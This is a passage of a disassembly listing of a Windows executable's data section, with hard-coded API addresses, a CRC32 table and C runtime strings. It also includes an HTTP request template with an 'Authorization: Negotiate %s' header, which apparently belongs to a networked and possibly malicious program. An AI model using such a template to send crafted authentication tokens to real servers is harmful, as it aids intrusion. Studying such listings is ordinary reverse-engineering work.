dword_42100C	dd 77E762D0h		; DATA XREF: sub_41F845+5Br
					; sub_41F845+B9r
dword_421010	dd 77E70192h		; DATA XREF: sub_41E84C+F9r
dword_421014	dd 77E7176Ch		; DATA XREF: sub_41DF9E+8r
dword_421018	dd 77E7339Ch		; DATA XREF: sub_41DF66+Cr
dword_42101C	dd 77E7C9E7h		; DATA XREF: sub_41DF48+5r
					; sub_41DF59+6r
dword_421020	dd 77E73FF9h		; DATA XREF: sub_41D503+2Cr
dword_421024	dd 77E7FF2Eh		; DATA XREF: sub_41D3D5:loc_41D425r
					; sub_41D44C:loc_41D49Fr
dword_421028	dd 77E7C866h		; DATA XREF: sub_41D1F7+3Fr
					; sub_41D1F7+12Dr
dword_42102C	dd 77E641EBh		; DATA XREF: sub_41D1F7+59r
					; sub_41D1F7+8Dr
dword_421030	dd 77E78406h		; DATA XREF: sub_41CC52+FFr
					; sub_41CC52+166r ...
dword_421034	dd 77E79C3Dh		; DATA XREF: sub_41CC52+158r
					; sub_41CF19+143r
dword_421038	dd 77E7C931h		; DATA XREF: sub_41CC52+19Dr
dword_42103C	dd 77E77EE1h		; DATA XREF: sub_41CB20+9r
dword_421040	dd 77E67702h		; DATA XREF: sub_41CB20:loc_41CB4Fr
					; sub_41CB20+E1r
dword_421044	dd 77E7C9E1h		; DATA XREF: sub_41CB20+CEr
dword_421048	dd 77E73C49h		; DATA XREF: sub_401000+AAr
					; sub_401447+95r ...
dword_42104C	dd 77E7751Ah		; DATA XREF: sub_401000+27r
					; sub_401447+1A6r ...
dword_421050	dd 77E802FCh		; DATA XREF: sub_4010B2+18Cr
					; sub_4010B2+2D4r ...
dword_421054	dd 77E6D75Bh		; DATA XREF: sub_4010B2+182r
					; sub_4018CA+FFr
dword_421058	dd 77E704FCh		; DATA XREF: sub_40211A+20r
					; sub_40AAD1+183r ...
dword_42105C	dd 77E70F89h		; DATA XREF: sub_40211A+Er
					; sub_40B16D+Dr ...
dword_421060	dd 77E61BE6h		; DATA XREF: sub_4021FB+5Dr
					; sub_40283D+E3r ...
dword_421064	dd 77E77CCEh		; DATA XREF: sub_402FDD+66r
					; sub_4030C0+65r ...
dword_421068	dd 77E78B82h		; DATA XREF: sub_4033CB+135r
					; sub_406A32+80r ...
dword_42106C	dd 77E77963h		; DATA XREF: sub_4033CB+120r
					; sub_4033CB+150r ...
dword_421070	dd 77E79D8Ch		; DATA XREF: sub_4033CB+103r
					; sub_409E15+AEr ...
dword_421074	dd 77E73EACh		; DATA XREF: sub_4033CB+E9r
dword_421078	dd 77E7A837h		; DATA XREF: sub_4033CB+68r
					; sub_406100+1C4r ...
dword_42107C	dd 77E7A099h		; DATA XREF: sub_405A89+18r
					; sub_407276+58r ...
dword_421080	dd 77E64106h		; DATA XREF: sub_405F7E+9Fr
					; sub_40AAD1+1B6r
dword_421084	dd 77E64006h		; DATA XREF: sub_405F7E+8Br
					; sub_40AAD1+19Fr
dword_421088	dd 77F5157Dh		; DATA XREF: sub_406100+282r
					; sub_407276:loc_4073B2r ...
dword_42108C	dd 77E7AC37h		; DATA XREF: sub_406100+24Dr
					; sub_407276+10Er ...
dword_421090	dd 77E793EFh		; DATA XREF: sub_406100+1EEr
					; sub_406A32+38r ...
dword_421094	dd 77E74CABh		; DATA XREF: sub_406100+110r
					; sub_409E15+10Fr ...
dword_421098	dd 77E78EAAh		; DATA XREF: sub_4063B0+5E8r
					; sub_4088A0+C0r ...
dword_42109C	dd 77E79424h		; DATA XREF: sub_4063B0+27Br
dword_4210A0	dd 77E794BFh		; DATA XREF: sub_4063B0+26Dr
dword_4210A4	dd 77E75E67h		; DATA XREF: sub_4063B0+20Dr
					; sub_4063B0+5D7r ...
dword_4210A8	dd 77E75D9Eh		; DATA XREF: sub_4063B0+1FCr
					; sub_4088A0+26r
dword_4210AC	dd 77E78C81h		; DATA XREF: sub_406A32+6Cr
					; sub_40B712+259r ...
dword_4210B0	dd 77F7E300h		; DATA XREF: sub_40778B+13Fr
dword_4210B4	dd 77F7E21Fh		; DATA XREF: sub_40778B+D4r
dword_4210B8	dd 77E7C706h		; DATA XREF: sub_40799F+77r
dword_4210BC	dd 77F53275h		; DATA XREF: sub_40799F+6Br
					; sub_40799F+22Fr
dword_4210C0	dd 77E805D8h		; DATA XREF: sub_4089F2+13Ar
					; sub_4089F2:loc_408EE2r ...
dword_4210C4	dd 77E7A5FDh		; DATA XREF: sub_4089F2+11r
					; sub_419EEF+15r ...
dword_4210C8	dd 77E79F93h		; DATA XREF: sub_4089F2+2r
					; sub_409E15+FBr ...
dword_4210CC	dd 77E76A60h		; DATA XREF: sub_409C08+2Dr
dword_4210D0	dd 77E71B14h		; DATA XREF: sub_409C92+26r
dword_4210D4	dd 77E7166Fh		; DATA XREF: sub_409C92+1Dr
dword_4210D8	dd 77E75090h		; DATA XREF: sub_409CCD+69r
dword_4210DC	dd 77E74D76h		; DATA XREF: sub_409CCD+36r
dword_4210E0	dd 77E77797h		; DATA XREF: sub_409CCD+25r
dword_4210E4	dd 77E7011Ah		; DATA XREF: sub_409D4F+96r
dword_4210E8	dd 77E73CE2h		; DATA XREF: sub_409D4F+60r
dword_4210EC	dd 77E61BB8h		; DATA XREF: sub_409E15+17Er
					; sub_409F9D+B4r ...
dword_4210F0	dd 77E668D9h		; DATA XREF: sub_409E15+15Dr
dword_4210F4	dd 77E70396h		; DATA XREF: sub_409E15+126r
					; sub_40C682+1BFr ...
dword_4210F8	dd 77E6AD34h		; DATA XREF: sub_409E15+35r
					; sub_40CE55+3D2Fr
dword_4210FC	dd 77EB7624h		; DATA XREF: sub_40A6A8+3Dr
dword_421100	dd 77E79CE3h		; DATA XREF: sub_40A7FD+91r
dword_421104	dd 77E79C90h		; DATA XREF: sub_40A7FD+79r
					; sub_413D67+Cr ...
dword_421108	dd 77E7727Ah		; DATA XREF: sub_40A7FD+3Br
dword_42110C	dd 77E7C657h		; DATA XREF: sub_40AAD1+24r
					; seg000:004142A7r
dword_421110	dd 77E76C1Ah		; DATA XREF: sub_40AAD1+1CFr
dword_421114	dd 77E75CB5h		; DATA XREF: sub_40BCEF+478r
					; sub_40C59A+DFr ...
dword_421118	dd 77E73628h		; DATA XREF: sub_40C682+333r
					; sub_40CE55+473Er ...
dword_42111C	dd 77E706B7h		; DATA XREF: sub_40C682+26Fr
					; sub_413DD2+175r ...
dword_421120	dd 77E80656h		; DATA XREF: sub_40C682+262r
dword_421124	dd 77E6BD13h		; DATA XREF: sub_40C682:loc_40C847r
dword_421128	dd 77E79D5Bh		; DATA XREF: sub_40C682+75r
					; sub_40C682+309r
dword_42112C	dd 77E7C2C4h		; DATA XREF: sub_40C682+6Er
dword_421130	dd 77E75CEBh		; DATA XREF: sub_40CE55+4986r
					; sub_4150CE+2Br
dword_421134	dd 77E71AFEh		; DATA XREF: sub_40CE55+3B20r
dword_421138	dd 77E79924h		; DATA XREF: sub_41328A+13r
					; sub_41BD71+20Dr ...
dword_42113C	dd 77E65F4Ch		; DATA XREF: sub_413CA9+34r
					; seg000:0041419Cr
dword_421140	dd 77E616B4h		; DATA XREF: sub_413DD2+184r
					; sub_414061+1Fr ...
dword_421144	dd 77E7513Ch		; DATA XREF: seg000:00414233r
dword_421148	dd 77E6C29Dh		; DATA XREF: sub_4149DE+1EBr
dword_42114C	dd 77F516F8h		; DATA XREF: sub_415E07+2Er
					; sub_4174DF+AFr ...
dword_421150	dd 77F51597h		; DATA XREF: sub_415E3D+27r
					; sub_418B28+2C4r ...
dword_421154	dd 77F6183Eh		; DATA XREF: sub_42010Cr
dword_421158	dd 77E76E3Dh		; DATA XREF: sub_416AD4+6Cr
					; sub_41E162+38r
dword_42115C	dd 77E61608h		; DATA XREF: sub_416AD4+17r
dword_421160	dd 77F5722Fh		; DATA XREF: sub_4174DF+F0r
					; sub_41915C+28r
dword_421164	dd 77E6177Ah		; DATA XREF: sub_417AF8+9Fr
					; sub_41CC52+59r
dword_421168	dd 77E7C938h		; DATA XREF: sub_417AF8+74r
dword_42116C	dd 77E7C486h		; DATA XREF: sub_417AF8+26r
dword_421170	dd 77E76E0Bh		; DATA XREF: sub_418A83+2Fr
dword_421174	dd 77E7C726h		; DATA XREF: sub_418A83+11r
dword_421178	dd 77E79E34h		; DATA XREF: sub_418B28+23Fr
dword_42117C	dd 77E7980Ah		; DATA XREF: sub_41915C+76r
					; sub_41920D+51r
dword_421180	dd 77E73196h		; DATA XREF: sub_41DF82+Cr
dword_421184	dd 77E6D706h		; DATA XREF: sub_4196E9+215r
					; sub_420209+2Er
dword_421188	dd 77F522F2h		; DATA XREF: sub_41AC48+21r
dword_42118C	dd 77E77405h		; DATA XREF: sub_41BD71+5Er
					; sub_41BD71+A7r
dword_421190	dd 77E781F9h		; DATA XREF: sub_41BD71+42r
					; sub_41BD71+14Dr ...
dword_421194	dd 77E7849Fh		; DATA XREF: sub_41BFC0+48r
					; sub_41C1FF+14r ...
dword_421198	dd 77E7A13Fh		; DATA XREF: sub_41C159+2Fr
dword_42119C	dd 77E6C703h		; DATA XREF: sub_41C159+1Ar
dword_4211A0	dd 77EB9A84h		; DATA XREF: sub_41C63E+138r
dword_4211A4	dd 77E9C5B1h		; DATA XREF: sub_41CB20+11Fr
		dd 0
dword_4211AC	dd 71AB1836h		; DATA XREF: sub_405A0C+6Er
					; sub_405A89+8Er
dword_4211B0	dd 71AB41DAh		; DATA XREF: sub_405409+47r
					; sub_405A0C+15r
dword_4211B4	dd 71AB3F8Dh		; DATA XREF: sub_405409+8Dr
dword_4211B8	dd 71AB155Ah		; DATA XREF: sub_405409+9Dr
dword_4211BC	dd 71AB3ECEh		; DATA XREF: sub_405409+C4r
dword_4211C0	dd 71AB5DE2h		; DATA XREF: sub_405409+D8r
dword_4211C4	dd 71AB868Dh		; DATA XREF: sub_405409+180r
dword_4211C8	dd 71AB2BBFh		; DATA XREF: seg000:0040530Cr
dword_4211CC	dd 71AB8629h		; DATA XREF: seg000:004053F5r
dword_4211D0	dd 71AB1890h		; DATA XREF: sub_40446E+4Cr
					; sub_405409+115r
dword_4211D4	dd 71AB1B7Bh		; DATA XREF: sub_420106r
dword_4211D8	dd 71AB12F8h		; DATA XREF: sub_40283D+27r
					; sub_402DDD+2Ar ...
dword_4211DC	dd 71AB1746h		; DATA XREF: sub_40283D+37r
					; sub_402988+EDr ...
dword_4211E0	dd 71AB3C22h		; DATA XREF: sub_40283D+46r
					; sub_402DDD+49r ...
dword_4211E4	dd 71AB3E5Dh		; DATA XREF: sub_40283D+61r
					; sub_402DDD+64r ...
dword_4211E8	dd 71AB5690h		; DATA XREF: sub_40283D+7Er
					; sub_40283D+135r ...
dword_4211EC	dd 71AB1AF4h		; DATA XREF: sub_40283D+D1r
					; sub_402988+26Br ...
dword_4211F0	dd 71AB1A6Dh		; DATA XREF: sub_40283D+13Er
					; sub_402DDD+154r ...
		align 8
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40484C+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_421238	dq 1.388888888888889e-2	; DATA XREF: sub_40465E+2Fr
dbl_421240	dq 1.666666666666667e-1	; DATA XREF: sub_40465E+15r
dword_421248	dd 0FFFFFFFFh		; DATA XREF: sub_4046AA+16Fr
					; sub_404B1Er ...
		align 10h
dbl_421250	dq 1.333333333333333	; DATA XREF: sub_4046AA+79r
dword_421258	dd 0			; DATA XREF: sub_40484C+4Do
					; sub_404BCE+5Bo ...
dword_42125C	dd 0			; DATA XREF: sub_40B41E+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
		dd 0
dbl_421660	dq 9.765625e-4		; DATA XREF: sub_40BCEF+2BDr
					; sub_40BCEF+2D8r ...
dbl_421668	dq -3.0517578125e-5	; DATA XREF: sub_414098+1Er
dbl_421670	dq 1.0			; DATA XREF: sub_415E6C+6Cr
					; sub_415FB3+6Cr ...
dword_421678	dd 0FFFFFFFFh, 417BCFh,	417BE3h	; DATA XREF: sub_417AF8+5o
byte_421684	db 6			; DATA XREF: sub_417D4C:loc_417DA3r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: seg000:off_437D6Co
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: seg000:off_437D68o
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: seg000:off_437F94o
		align 10h
dbl_4217B0	dq 0.0			; DATA XREF: sub_41999C+8Cr
					; sub_41999C+ACr ...
dbl_4217B8	dq 4.195835e6		; DATA XREF: sub_419EB1+Fr
dbl_4217C0	dq 3.145727e6		; DATA XREF: sub_419EB1+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_419EEF+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_419EEFo
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_41A016+93o
		align 4
dword_4217F8	dd 0FFFFFFFFh, 41A701h,	41A70Bh, 0 ; DATA XREF:	sub_41A69A+5o
dword_421808	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41A7C9+5o
		dd offset loc_41A887
		align 8
		dd offset sub_41A865
		dd offset sub_41A86F
dword_421820	dd 0FFFFFFFFh, 41AAB7h,	41AABBh, 0 ; DATA XREF:	sub_41A8FF+5o
dword_421830	dd 0FFFFFFFFh, 41AB19h,	41AB22h, 0 ; DATA XREF:	sub_41AAC3+5o
dword_421840	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41AB9C+5o
		dd offset loc_41ABED
		align 10h
		dd offset loc_41ABD9
		dd offset loc_41ABDD
dword_421858	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41ABF2+5o
		dd offset loc_41AC43
		align 8
		dd offset loc_41AC2F
		dd offset loc_41AC33
dword_421870	dd 2 dup(0)		; DATA XREF: sub_41BD71+36o
					; sub_41D1F7+39o ...
dword_421878	dd 0FFFFFFFFh, 41BE81h,	41BE85h, 0FFFFFFFFh, 41BF35h, 41BF39h
					; DATA XREF: sub_41BD71+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: seg000:off_4383DCo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41CF19+119o
		align 10h
asc_421B40	db 0Ah			; DATA XREF: sub_41CF19+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41CF19+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_41CF19+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41CF19+7Do
		align 10h
dword_421B80	dd 0FFFFFFFFh, 41D2F0h,	41D2F4h	; DATA XREF: sub_41D1F7+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_41E162+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_41E6EE+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_41E6EE+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_41E6EE+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_41F004:loc_41F0F9o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_41F004+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_41F004+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_41F004+ADo
		align 10h
dword_421C20	dd 0FFFFFFFFh, 41F9FCh,	41FA00h, 0FFFFFFFFh, 41FA6Bh, 41FA6Fh
					; DATA XREF: sub_41F845+5o
		dd 421D40h
off_421C3C	dd offset loc_41FFA8	; DATA XREF: sub_41FDB0+4Do
					; sub_41FFC4+Co
		dd offset sub_41FE6E
		dd offset sub_41FF8B
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_41FDB0+1Eo
		dd offset dword_421D78
off_421C5C	dd offset loc_41FED5	; DATA XREF: sub_41FE0A+4Eo
					; sub_41FE98+11o ...
		dd offset sub_41FE6E
		dd offset sub_41FE7B
		dd offset dword_421DC8
off_421C6C	dd offset loc_420090	; DATA XREF: sub_41FFDC+4Do
					; sub_4200AC+Co
		dd offset sub_41FE6E
		dd offset sub_420073
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_41FFDC+1Eo
		dd offset dword_421DF8
off_421C94	dd offset sub_420112	; DATA XREF: sub_42012E+8o
					; sub_42016B+8o ...
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 1, 42h, 0
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: seg000:004201D2o
		align 10h
		dd offset dword_421E40
off_421CB4	dd offset loc_4201ED	; DATA XREF: sub_4201D8o
					; seg000:off_438B00o ...
dword_421CB8	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_420209+Eo
		dd 3, 19930520h, 2 dup(0)
off_421CD8	dd offset off_438B00	; DATA XREF: seg000:00421D28o
					; seg000:00421D5Co ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_421CF0	dd offset off_438B18	; DATA XREF: seg000:00421D24o
					; seg000:00421D58o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_421D08	dd offset off_438B38	; DATA XREF: seg000:00421D20o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_421D08
		dd offset off_421CF0
		dd offset off_421CD8
dword_421D2C	dd 3 dup(0)		; DATA XREF: seg000:00421D50o
		dd 3, 421D20h, 3 dup(0)
		dd offset off_438B38
		dd offset dword_421D2C+4
		align 8
		dd offset off_421CF0
		dd offset off_421CD8
dword_421D60	dd 4 dup(0)		; DATA XREF: seg000:00421D88o
		dd 2, 421D58h
dword_421D78	dd 3 dup(0)		; DATA XREF: seg000:00421C58o
		dd offset off_438B18
		dd offset dword_421D60+8
		align 10h
off_421D90	dd offset off_438B58	; DATA XREF: seg000:00421DA8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_421D90
		dd offset off_421CF0
		dd offset off_421CD8
		dd 0
		db    0			; DATA XREF: seg000:00421DD8o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 421DA8h
dword_421DC8	dd 3 dup(0)		; DATA XREF: seg000:00421C68o
		dd offset off_438B58
		dd offset unk_421DB8
		dd offset off_421CD8
dword_421DE0	dd 4 dup(0)		; DATA XREF: seg000:00421E08o
		dd 1, 421DDCh
dword_421DF8	dd 3 dup(0)		; DATA XREF: seg000:00421C90o
		dd offset off_438B00
		dd offset dword_421DE0+8
		align 10h
off_421E10	dd offset off_438B78	; DATA XREF: seg000:00421E28o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_421E10
dword_421E2C	dd 3 dup(0)		; DATA XREF: seg000:00421E50o
		dd 1, 421E28h
dword_421E40	dd 3 dup(0)		; DATA XREF: seg000:00421CB0o
		dd offset off_438B78
		dd offset dword_421E2C+4
		align 8
dword_421E58	dd 19930520h, 2, 421E78h, 5 dup(0) ; DATA XREF:	seg000:loc_420263o
		dd 0FFFFFFFFh, 42024Ch,	0
		dd offset sub_420244
dword_421E88	dd 19930520h, 2, 421EA8h, 5 dup(0) ; DATA XREF:	seg000:loc_420280o
		dd 0FFFFFFFFh, 420270h,	0
		dd offset loc_420278
dword_421EB8	dd 19930520h, 2, 421ED8h, 1, 421EE8h, 3	dup(0)
					; DATA XREF: seg000:loc_42028Co
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 421F00h, 4	dup(0)
		dd offset loc_404E38
		dd 0
		dd offset off_438B00
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42016Bh, 2 dup(0)
		dd offset off_438B18
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41FEF1h, 2 dup(0)
		dd offset off_438B38
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41FFC4h, 0
dword_421F70	dd 3, 421F50h, 421F30h,	421F10h	; DATA XREF: seg000:00421F8Co
dword_421F80	dd 0			; DATA XREF: sub_41FDB0+47o
					; sub_41FF8B+12o
		dd offset sub_41FF4E
		dd 0
		dd offset dword_421F70
dword_421F90	dd 19930520h, 1, 421FB0h, 5 dup(0) ; DATA XREF:	seg000:loc_4202A0o
		dd 0FFFFFFFFh, 420298h
dword_421FB8	dd 19930520h, 1, 421FD8h, 5 dup(0) ; DATA XREF:	seg000:loc_4202B4o
dword_421FD8	dd 0FFFFFFFFh, 4202ACh,	2, 421F30h, 421F10h, 0 ; DATA XREF: seg000:00421FFCo
dword_421FF0	dd 0			; DATA XREF: sub_41FE7B+12o
		dd offset sub_41FE98
		dd 0
		dd offset dword_421FD8+8
dword_422000	dd 19930520h, 1, 422020h, 5 dup(0) ; DATA XREF:	seg000:loc_4202C8o
		dd 0FFFFFFFFh, 4202C0h
dword_422028	dd 19930520h, 1, 422048h, 5 dup(0) ; DATA XREF:	seg000:loc_4202DCo
		dd 0FFFFFFFFh, 4202D4h
dword_422050	dd 19930520h, 1, 422070h, 5 dup(0) ; DATA XREF:	seg000:loc_4202F0o
		dd 0FFFFFFFFh, 4202E8h,	0
		dd offset off_438B58
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	4200ACh, 0
dword_422098	dd 3, 422078h, 421F30h,	421F10h	; DATA XREF: seg000:004220B4o
dword_4220A8	dd 0			; DATA XREF: sub_41FFDC+47o
					; sub_420073+12o
		dd offset sub_420036
		dd 0
		dd offset dword_422098
